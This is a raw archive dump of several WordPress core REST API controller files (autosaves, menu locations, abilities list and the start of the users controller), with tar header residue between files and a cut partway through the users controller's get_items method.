		if ( $parent_id <= 0 ) {
			return new WP_Error(
				'rest_post_invalid_id',
				__( 'Invalid post parent ID.' ),
				array( 'status' => 404 )
			);
		}

		$autosave = wp_get_post_autosave( $parent_id );

		if ( ! $autosave ) {
			return new WP_Error(
				'rest_post_no_autosave',
				__( 'There is no autosave revision for this post.' ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Gets a collection of autosaves using wp_get_post_autosave.
	 *
	 * Contains the user's autosave, for empty if it doesn't exist.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}
		$response  = array();
		$parent_id = $parent->ID;
		$revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) );

		foreach ( $revisions as $revision ) {
			if ( str_contains( $revision->post_name, "{$parent_id}-autosave" ) ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		return rest_ensure_response( $response );
	}


	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = $this->revisions_controller->get_item_schema();

		$schema['properties']['preview_link'] = array(
			'description' => __( 'Preview link for the post.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Creates autosave for the specified post.
	 *
	 * From wp-admin/post.php.
	 *
	 * @since 5.0.0
	 * @since 6.4.0 The `$meta` parameter was added.
	 *
	 * @param array $post_data Associative array containing the post data.
	 * @param array $meta      Associative array containing the post meta data.
	 * @return mixed The autosave revision ID or WP_Error.
	 */
	public function create_post_autosave( $post_data, array $meta = array() ) {

		$post_id = (int) $post_data['ID'];
		$post    = get_post( $post_id );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// Only create an autosave when it is different from the saved post.
		$autosave_is_different = false;
		$new_autosave          = _wp_post_revision_data( $post_data, true );

		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
			if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) {
				$autosave_is_different = true;
				break;
			}
		}

		// Check if meta values have changed.
		if ( ! empty( $meta ) ) {
			$revisioned_meta_keys = wp_post_revision_meta_keys( $post->post_type );
			foreach ( $revisioned_meta_keys as $meta_key ) {
				// get_metadata_raw is used to avoid retrieving the default value.
				$old_meta = get_metadata_raw( 'post', $post_id, $meta_key, true );
				$new_meta = isset( $meta[ $meta_key ] ) ? $meta[ $meta_key ] : '';

				if ( $new_meta !== $old_meta ) {
					$autosave_is_different = true;
					break;
				}
			}
		}

		$user_id = get_current_user_id();

		// Store one autosave per author. If there is already an autosave, overwrite it.
		$old_autosave = wp_get_post_autosave( $post_id, $user_id );

		if ( ! $autosave_is_different && $old_autosave ) {
			// Nothing to save, return the existing autosave.
			return $old_autosave->ID;
		}

		if ( $old_autosave ) {
			$new_autosave['ID']          = $old_autosave->ID;
			$new_autosave['post_author'] = $user_id;

			/** This filter is documented in wp-admin/post.php */
			do_action( 'wp_creating_autosave', $new_autosave );

			// wp_update_post() expects escaped array.
			$revision_id = wp_update_post( wp_slash( $new_autosave ) );
		} else {
			// Create the new autosave as a special post revision.
			$revision_id = _wp_put_post_revision( $post_data, true );
		}

		if ( is_wp_error( $revision_id ) || 0 === $revision_id ) {
			return $revision_id;
		}

		// Attached any passed meta values that have revisions enabled.
		if ( ! empty( $meta ) ) {
			foreach ( $revisioned_meta_keys as $meta_key ) {
				if ( isset( $meta[ $meta_key ] ) ) {
					update_metadata( 'post', $revision_id, $meta_key, wp_slash( $meta[ $meta_key ] ) );
				}
			}
		}

		return $revision_id;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 5.0.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php */
			return apply_filters( 'rest_prepare_autosave', new WP_REST_Response( array() ), $post, $request );
		}
		$response = $this->revisions_controller->prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );

		if ( in_array( 'preview_link', $fields, true ) ) {
			$parent_id          = wp_is_post_autosave( $post );
			$preview_post_id    = false === $parent_id ? $post->ID : $parent_id;
			$preview_query_args = array();

			if ( false !== $parent_id ) {
				$preview_query_args['preview_id']    = $parent_id;
				$preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id );
			}

			$response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args );
		}

		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters a revision returned from the REST API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_autosave', $response, $post, $request );
	}

	/**
	 * Retrieves the query params for the autosaves collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-menu-locations-controller.php000066600000021403152442706000017104 0ustar00<?php
/**
 * REST API: WP_REST_Menu_Locations_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to access menu locations via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menu_Locations_Controller extends WP_REST_Controller {

	/**
	 * Menu Locations Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'menu-locations';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 5.9.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<location>[\w-]+)',
			array(
				'args'   => array(
					'location' => array(
						'description' => __( 'An alphanumeric identifier for the menu location.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read menu locations.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Retrieves all menu locations, depending on user context.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data = array();

		foreach ( get_registered_nav_menus() as $name => $description ) {
			$location              = new stdClass();
			$location->name        = $name;
			$location->description = $description;

			$location      = $this->prepare_item_for_response( $location, $request );
			$data[ $name ] = $this->prepare_response_for_collection( $location );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Retrieves a specific menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$registered_menus = get_registered_nav_menus();
		if ( ! array_key_exists( $request['location'], $registered_menus ) ) {
			return new WP_Error( 'rest_menu_location_invalid', __( 'Invalid menu location.' ), array( 'status' => 404 ) );
		}

		$location              = new stdClass();
		$location->name        = $request['location'];
		$location->description = $registered_menus[ $location->name ];

		$data = $this->prepare_item_for_response( $location, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * @since 6.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the current user has permission, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view menu locations.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares a menu location object for serialization.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Menu location data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$location = $item;

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'name', $fields ) ) {
			$data['name'] = $location->name;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $location->description;
		}

		if ( rest_is_field_included( 'menu', $fields ) ) {
			$data['menu'] = (int) $menu;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $location ) );
		}

		/**
		 * Filters menu location data returned from the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $location The original location object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_menu_location', $response, $location, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass $location Menu location.
	 * @return array Links for the given menu location.
	 */
	protected function prepare_links( $location ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		// Entity meta.
		$links = array(
			'self'       => array(
				'href' => rest_url( trailingslashit( $base ) . $location->name ),
			),
			'collection' => array(
				'href' => rest_url( $base ),
			),
		);

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0;
		if ( $menu ) {
			$path = rest_get_route_for_term( $menu );
			if ( $path ) {
				$url = rest_url( $path );

				$links['https://api.w.org/menu'][] = array(
					'href'       => $url,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Retrieves the menu location's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'menu-location',
			'type'       => 'object',
			'properties' => array(
				'name'        => array(
					'description' => __( 'The name of the menu location.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'The description of the menu location.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'menu'        => array(
					'description' => __( 'The ID of the assigned menu.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-abilities-v1-list-controller.php000066600000024371152442706000017420 0ustar00<?php
/**
 * REST API list controller for Abilities API.
 *
 * @package WordPress
 * @subpackage Abilities_API
 * @since 6.9.0
 */

declare( strict_types = 1 );

/**
 * Core controller used to access abilities via the REST API.
 *
 * @since 6.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Abilities_V1_List_Controller extends WP_REST_Controller {

	/**
	 * REST API namespace.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $namespace = 'wp-abilities/v1';

	/**
	 * REST API base route.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $rest_base = 'abilities';

	/**
	 * Registers the routes for abilities.
	 *
	 * @since 6.9.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes(): void {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<name>[a-zA-Z0-9\-\/]+)',
			array(
				'args'   => array(
					'name' => array(
						'description' => __( 'Unique identifier for the ability.' ),
						'type'        => 'string',
						'pattern'     => '^[a-zA-Z0-9\-\/]+$',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Retrieves all abilities.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success.
	 */
	public function get_items( $request ) {
		$abilities = array_filter(
			wp_get_abilities(),
			static function ( $ability ) {
				return $ability->get_meta_item( 'show_in_rest' );
			}
		);

		// Filter by ability category if specified.
		$category = $request['category'];
		if ( ! empty( $category ) ) {
			$abilities = array_filter(
				$abilities,
				static function ( $ability ) use ( $category ) {
					return $ability->get_category() === $category;
				}
			);
			// Reset array keys after filtering.
			$abilities = array_values( $abilities );
		}

		$page     = $request['page'];
		$per_page = $request['per_page'];
		$offset   = ( $page - 1 ) * $per_page;

		$total_abilities = count( $abilities );
		$max_pages       = (int) ceil( $total_abilities / $per_page );

		if ( $request->get_method() === 'HEAD' ) {
			$response = new WP_REST_Response( array() );
		} else {
			$abilities = array_slice( $abilities, $offset, $per_page );

			$data = array();
			foreach ( $abilities as $ability ) {
				$item   = $this->prepare_item_for_response( $ability, $request );
				$data[] = $this->prepare_response_for_collection( $item );
			}

			$response = rest_ensure_response( $data );
		}

		$response->header( 'X-WP-Total', (string) $total_abilities );
		$response->header( 'X-WP-TotalPages', (string) $max_pages );

		$query_params = $request->get_query_params();
		$base         = add_query_arg( urlencode_deep( $query_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $page > 1 ) {
			$prev_page = $page - 1;
			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}

		if ( $page < $max_pages ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );
			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Retrieves a specific ability.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$ability = wp_get_ability( $request['name'] );
		if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) {
			return new WP_Error(
				'rest_ability_not_found',
				__( 'Ability not found.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $ability, $request );
		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read ability items.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the request has read access.
	 */
	public function get_items_permissions_check( $request ) {
		return current_user_can( 'read' );
	}

	/**
	 * Checks if a given request has access to read an ability item.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the request has read access.
	 */
	public function get_item_permissions_check( $request ) {
		return current_user_can( 'read' );
	}

	/**
	 * Normalizes schema empty object defaults.
	 *
	 * Converts empty array defaults to objects when the schema type is 'object'
	 * to ensure proper JSON serialization as {} instead of [].
	 *
	 * @since 6.9.0
	 *
	 * @param array<string, mixed> $schema The schema array.
	 * @return array<string, mixed> The normalized schema.
	 */
	private function normalize_schema_empty_object_defaults( array $schema ): array {
		if ( isset( $schema['type'] ) && 'object' === $schema['type'] && isset( $schema['default'] ) ) {
			$default = $schema['default'];
			if ( is_array( $default ) && empty( $default ) ) {
				$schema['default'] = (object) $default;
			}
		}
		return $schema;
	}

	/**
	 * Prepares an ability for response.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_Ability      $ability The ability object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $ability, $request ) {
		$data = array(
			'name'          => $ability->get_name(),
			'label'         => $ability->get_label(),
			'description'   => $ability->get_description(),
			'category'      => $ability->get_category(),
			'input_schema'  => $this->normalize_schema_empty_object_defaults( $ability->get_input_schema() ),
			'output_schema' => $this->normalize_schema_empty_object_defaults( $ability->get_output_schema() ),
			'meta'          => $ability->get_meta(),
		);

		$context = $request['context'] ?? 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		$fields = $this->get_fields_for_response( $request );
		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = array(
				'self'       => array(
					'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $ability->get_name() ) ),
				),
				'collection' => array(
					'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
				),
			);

			$links['wp:action-run'] = array(
				'href' => rest_url( sprintf( '%s/%s/%s/run', $this->namespace, $this->rest_base, $ability->get_name() ) ),
			);

			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Retrieves the ability's schema, conforming to JSON Schema.
	 *
	 * @since 6.9.0
	 *
	 * @return array<string, mixed> Item schema data.
	 */
	public function get_item_schema(): array {
		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'ability',
			'type'       => 'object',
			'properties' => array(
				'name'          => array(
					'description' => __( 'Unique identifier for the ability.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'label'         => array(
					'description' => __( 'Display label for the ability.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'description'   => array(
					'description' => __( 'Description of the ability.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'category'      => array(
					'description' => __( 'Ability category this ability belongs to.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'input_schema'  => array(
					'description' => __( 'JSON Schema for the ability input.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'output_schema' => array(
					'description' => __( 'JSON Schema for the ability output.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'meta'          => array(
					'description' => __( 'Meta information about the ability.' ),
					'type'        => 'object',
					'properties'  => array(
						'annotations' => array(
							'description' => __( 'Annotations for the ability.' ),
							'type'        => array( 'boolean', 'null' ),
							'default'     => null,
						),
					),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 6.9.0
	 *
	 * @return array<string, mixed> Collection parameters.
	 */
	public function get_collection_params(): array {
		return array(
			'context'  => $this->get_context_param( array( 'default' => 'view' ) ),
			'page'     => array(
				'description' => __( 'Current page of the collection.' ),
				'type'        => 'integer',
				'default'     => 1,
				'minimum'     => 1,
			),
			'per_page' => array(
				'description' => __( 'Maximum number of items to be returned in result set.' ),
				'type'        => 'integer',
				'default'     => 50,
				'minimum'     => 1,
				'maximum'     => 100,
			),
			'category' => array(
				'description'       => __( 'Limit results to abilities in specific ability category.' ),
				'type'              => 'string',
				'sanitize_callback' => 'sanitize_key',
				'validate_callback' => 'rest_validate_request_arg',
			),
		);
	}
}
endpoints/class-wp-rest-users-controller.php000066600000141344152442706000015317 0ustar00<?php
/**
 * REST API: WP_REST_Users_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Users_Controller extends WP_REST_Controller {

	/**
	 * Instance of a user meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_User_Meta_Fields
	 */
	protected $meta;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.6.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users';

		$this->meta = new WP_REST_User_Meta_Fields();
	}

	/**
	 * Registers the routes for users.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the user.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as users do not support trashing.' ),
						),
						'reassign' => array(
							'type'              => 'integer',
							'description'       => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
							'required'          => true,
							'sanitize_callback' => array( $this, 'check_reassign' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/me',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'permission_callback' => '__return_true',
					'callback'            => array( $this, 'get_current_item' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_current_item' ),
					'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_current_item' ),
					'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as users do not support trashing.' ),
						),
						'reassign' => array(
							'type'              => 'integer',
							'description'       => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
							'required'          => true,
							'sanitize_callback' => array( $this, 'check_reassign' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks for a valid value for the reassign parameter when deleting users.
	 *
	 * The value can be an integer, 'false', false, or ''.
	 *
	 * @since 4.7.0
	 *
	 * @param int|bool        $value   The value passed to the reassign parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter that is being sanitized.
	 * @return int|bool|WP_Error
	 */
	public function check_reassign( $value, $request, $param ) {
		if ( is_numeric( $value ) ) {
			return $value;
		}

		if ( empty( $value ) || false === $value || 'false' === $value ) {
			return false;
		}

		return new WP_Error(
			'rest_invalid_param',
			__( 'Invalid user parameter(s).' ),
			array( 'status' => 400 )
		);
	}

	/**
	 * Permissions check for getting all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		// Check if roles is specified in GET request and if user can list users.
		if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to filter users by role.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		// Check if capabilities is specified in GET request and if user can list users.
		if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to filter users by capability.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_forbidden_orderby',
				__( 'Sorry, you are not allowed to order users by this parameter.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'authors' === $request['who'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( post_type_supports( $type->name, 'author' )
					&& current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_forbidden_who',
				__( 'Sorry, you are not allowed to query users by this parameter.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all users.
	 *
	 * @since 4.7.0
	 * @since 6.8.0 Added support for the search_columns query param.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'      => 'exclude',
			'include'      => 'include',
			'order'        => 'order',
			'per_page'     => 'number',
			'search'       => 'search',
			'roles'        => 'role__in',
			'capabilities' => 'capability__in',
			'slug'         => 'nicename__in',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
